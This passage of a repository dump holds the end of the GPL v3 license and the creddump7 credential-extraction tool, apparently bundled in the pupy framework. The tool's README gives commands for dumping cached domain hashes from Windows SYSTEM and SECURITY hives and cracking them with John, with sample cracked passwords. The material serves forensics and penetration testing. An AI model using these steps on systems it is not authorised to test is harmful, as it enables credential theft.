work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "pupy/external/creddump7/README.md",
    "content": "#Information\nThis repo is for my modifications to the original 'creddump' program available\nat: \n\nhttps://code.google.com/p/creddump/\n\nI did not write the original program. \n\nI have combined many patches and fixes I have seen from different forums and\nuser suggestions, as well as modified the usage to make it a little more clear.\n\nI followed patches and fixes from the following links:\n\n* https://code.google.com/p/creddump/issues/detail?id=4\n* https://code.google.com/p/volatility/issues/detail?id=92\n\nEnjoy!\nRonnie Flathers (@ropnop)\n\n\n###Usage\nMount a Windows 7/Vista partition:\n```\n# mkdir /mnt/win\n# ntfs-3g /dev/sda1 /mnt/win\n```\n\nRun cachedump.py on the SYSTEM and SECURITY hives to extract cached domain creds:\n```\n# ./cachedump.py\nusage: ./cachedump.py <system hive> <security hive> <Vista/7>\n\nExample (Windows Vista/7):\n./cachedump.py /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true\n\nExample (Windows XP):\n./cachedump.py /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false\n\n# ./cachedump.py /mnt/win/Windows/System32/config/SYSTEM /mnt/win/Windows/System32/config/SECURITY true |tee hashes\nnharpsis:6b29dfa157face3f3d8db489aec5cc12:acme:acme.local\ngod:25bd785b8ff1b7fa3a9b9e069a5e7de7:acme:acme.local\n```\n\nIf you want to crack the hashes and have a good wordlist, John can be used. The hashes are in the 'mscash2' format:\n```\n# john --format=mscash2 --wordlist=/usr/share/wordlists/rockyou.txt hashes\nLoaded 2 password hashes with 2 different salts (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 intrinsics 8x])\ng0d              (god)\nWelcome1!        (nharpsis)\n```\n\nWe now have the passwords for two domain users. Note: these passwords are really simple and I knew they were in the wordlist I used. Normally if you want to actually bruteforce the passwords, I wouldn't recommend John. Pull the hashes and use a GPU powered cracking box with oclHashcat.\n\n\n####Below is the original README file\n\n\nOVERVIEW\n\ncreddump is a python tool to extract various credentials and secrets from\nWindows registry hives. It currently extracts:\n* LM and NT hashes (SYSKEY protected)\n* Cached domain passwords\n* LSA secrets\n\nIt essentially performs all the functions that bkhive/samdump2,\ncachedump, and lsadump2 do, but in a platform-independent way.\n\nIt is also the first tool that does all of these things in an offline\nway (actually, Cain & Abel does, but is not open source and is only\navailable on Windows).\n\nREQUIREMENTS\n\nalldump has only been tested on python 2.5. It should work on 2.4 as\nwell, but will likely need modification before it will work on 2.3 or\nbelow.\n\npython-crypto is required for its MD5/DES/RC4 support. To obtain it,\nsee: http://www.amk.ca/python/code/crypto\n\nFor lsadump: system and SECURITY hives\nFor cachedump: system and SECURITY hives\nFor pwdump: system and SAM hives\n\nUSAGE\n\nDump cached domain hashes:\n  usage: ./cachedump.py <system hive> <security hive>\n\nDump LSA secrets:\n  usage: ./lsadump.py <system hive> <security hive>\n\nDump local password hashes:\n  usage: ./pwdump.py <system hive> <SAM hive>\n\nFEATURES\n\n* Platform independent operation. The only inputs are the hive files\n  from the system--we don't rely on any Windows functionality at all.\n* Open-source and (hopefully!) readble implementations of Windows\n  obfuscation algorithms used to protect LSA secrets, cached domain\n  passwords, and \n* A reasonably forgiving registry file parser in pure Python. Look\n  through framework/types.py and framework/win32/rawreg.py to see how it\n  works.\n* The first complete open-source implementation of advapi32's\n  SystemFunction005. The version in the Wine source code does not\n  appear to allow for keys longer than 7 bytes, while the Windows\n  version (and this version) does. See decrypt_secret() in\n  framework/win32/lsasecrets.py\n\nAUTHOR\n\ncreddump is written by Brendan Dolan-Gavitt (bdolangavitt@wesleyan.edu).\nFor more information on Syskey, LSA secrets, cached domain credentials,\nand lots of information on volatile memory forensics and reverse\nengineering, check out:\n\nhttp://moyix.blogspot.com/\n\nCREDITS\n* AAron Walters. Much of the data type parsing code is taken from\n  Volatility, an excellent memory analysis framework written in Python.\n  He's also a really nice guy, and has helped me out a lot in my\n  research.\n  \n  https://www.volatilesystems.com/default/volatility\n\n* Massimiliano Montoro (mao), for reversing the mechanism Windows uses\n  to derive the LSA key so that it can be computed directly from the\n  hive files, as decribed in this post:\n  \n  http://oxid.netsons.org/phpBB2/viewtopic.php?t=149\n  http://www.oxid.it/\n  \n* Jeremy Allison, for the details of the obfuscation applied to password\n  hashes in the SAM, as implemented in the original pwdump.\n  \n  http://us4.samba.org/samba/ftp/pwdump/\n\n* Nicola Cuomo, for his excellent description of the syskey mechanism\n  and how it is used to encrypt the SAM in Windows 2000 and above.\n\n  http://www.studenti.unina.it/~ncuomo/syskey/\n\n* Eyas[at]xfocus.org, for x_dialupass2.cpp, which demonstrates how to\n  read LSA secrets directly from the registry, given the LSA key.\n\n  http://www.xfocus.net/articles/200411/749.html\n\n  [Note: the above is in Chinese, but quite comprehensible if you use\n   Google Translate and can read C ;)]\n\n* Nicholas Ruff, for his perl implementation of des_set_odd_parity,\n  which he apparently took from SSLEAY:\n\n  http://seclists.org/pen-test/2005/Jan/0180.html\n\n* Arnaud Pilon, for the details of how to retrieve cached domain, as\n  implemented in cachedump.\n\n  http://www.securiteam.com/tools/5JP0I2KFPA.html\n\n* S�bastien Ke, for his cute hexdump recipe:\n\n  http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812\n\nLICENSE\n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program.  If not, see <http://www.gnu.org/licenses/>.\n"
  },
  {
    "path": "pupy/external/creddump7/cachedump.py",
    "content": "#!/usr/bin/env python\n\n# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# creddump is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with creddump.  If not, see <http://www.gnu.org/licenses/>.\n\n\"\"\"\n@author:       Brendan Dolan-Gavitt\n@license:      GNU General Public License 2.0 or later\n@contact:      bdolangavitt@wesleyan.edu\n\"\"\"\nfrom __future__ import print_function\n\n\nimport sys\nfrom framework.win32.domcachedump import dump_file_hashes\ndef showUsage():\n    print(\"usage: %s <system hive> <security hive> <Vista/7>\" % sys.argv[0])\n    print(\"\\nExample (Windows Vista/7):\")\n    print(\"%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true\" % sys.argv[0])\n    print(\"\\nExample (Windows XP):\")\n    print(\"%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false\" % sys.argv[0])\n\nif len(sys.argv) < 4:\n    showUsage()\n    sys.exit(1)\n\nif sys.argv[3] not in [\"true\", \"false\"]:\n    showUsage()\n    sys.exit(1)\n\nvista = True if sys.argv[3] == \"true\" else False\n\ndump_file_hashes(sys.argv[1], sys.argv[2], sys.argv[3])\n"
  },
  {
    "path": "pupy/external/creddump7/framework/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/external/creddump7/framework/addrspace.py",
    "content": "# Volatility\n# Copyright (C) 2007 Volatile Systems\n#\n# Original Source:\n# Copyright (C) 2004,2005,2006 4tphi Research\n# Author: {npetroni,awalters}@4tphi.net (Nick Petroni and AAron Walters)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or (at\n# your option) any later version.\n#\n# This program is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n#\n\n\"\"\"\n@author:       AAron Walters\n@license:      GNU General Public License 2.0 or later\n@contact:      awalters@volatilesystems.com\n@organization: Volatile Systems\n\"\"\"\n\n\"\"\" Alias for all address spaces \"\"\"\n\nimport os\nimport struct\n\nfrom io import open\n\n\nclass FileAddressSpace(object):\n    def __init__(self, fname, mode='rb', fast=False):\n        self.fname = fname\n        self.name = fname\n        self.fhandle = open(fname, mode)\n        self.fsize = os.path.getsize(fname)\n\n        if fast == True:\n            self.fast_fhandle = open(fname, mode)\n\n    def fread(self,len):\n        return self.fast_fhandle.read(len)\n\n    def read(self, addr, len):\n        self.fhandle.seek(addr)\n        return self.fhandle.read(len)\n\n    def read_long(self, addr):\n        string = self.read(addr, 4)\n        (longval, ) =  struct.unpack('L', string)\n        return longval\n\n    def get_address_range(self):\n        return [0,self.fsize-1]\n\n    def get_available_addresses(self):\n        return [self.get_address_range()]\n\n    def is_valid_address(self, addr):\n        return addr < self.fsize - 1\n\n    def close(self):\n        self.fhandle.close()\n\n\n# Code below written by Brendan Dolan-Gavitt\n\nBLOCK_SIZE = 0x1000\n\nclass HiveFileAddressSpace:\n    def __init__(self, fname):\n        self.fname = fname\n        self.base = FileAddressSpace(fname)\n\n    def vtop(self, vaddr):\n        return vaddr + BLOCK_SIZE + 4\n\n    def read(self, vaddr, length, zero=False):\n        first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE\n        full_blocks = ((length + (vaddr % BLOCK_SIZE)) // BLOCK_SIZE) - 1\n        left_over = (length + vaddr) % BLOCK_SIZE\n\n        paddr = self.vtop(vaddr)\n        if paddr == None and zero:\n            if length < first_block:\n                return \"\\0\" * length\n            else:\n                stuff_read = \"\\0\" * first_block\n        elif paddr == None:\n            return None\n        else:\n            if length < first_block:\n                stuff_read = self.base.read(paddr, length)\n                if not stuff_read and zero:\n                    return \"\\0\" * length\n                else:\n                    return stuff_read\n\n            stuff_read = self.base.read(paddr, first_block)\n            if not stuff_read and zero:\n                stuff_read = \"\\0\" * first_block\n\n        new_vaddr = vaddr + first_block\n        for i in range(0,full_blocks):\n            paddr = self.vtop(new_vaddr)\n            if paddr == None and zero:\n                stuff_read = stuff_read + \"\\0\" * BLOCK_SIZE\n            elif paddr == None:\n                return None\n            else:\n                new_stuff = self.base.read(paddr, BLOCK_SIZE)\n                if not new_stuff and zero:\n                    new_stuff = \"\\0\" * BLOCK_SIZE\n                elif not new_stuff:\n                    return None\n                else:\n                    stuff_read = stuff_read + new_stuff\n            new_vaddr = new_vaddr + BLOCK_SIZE\n\n        if left_over > 0:\n            paddr = self.vtop(new_vaddr)\n            if paddr == None and zero:\n                stuff_read = stuff_read + \"\\0\" * left_over\n            elif paddr == None:\n                return None\n            else:\n                stuff_read = stuff_read + self.base.read(paddr, left_over)\n        return stuff_read\n\n    def read_long_phys(self, addr):\n        string = self.base.read(addr, 4)\n        (longval, ) =  struct.unpack('L', string)\n        return longval\n\n    def is_valid_address(self, vaddr):\n        paddr = self.vtop(vaddr)\n        if not paddr: return False\n        return self.base.is_valid_address(paddr)\n"
  },
  {
    "path": "pupy/external/creddump7/framework/newobj.py",
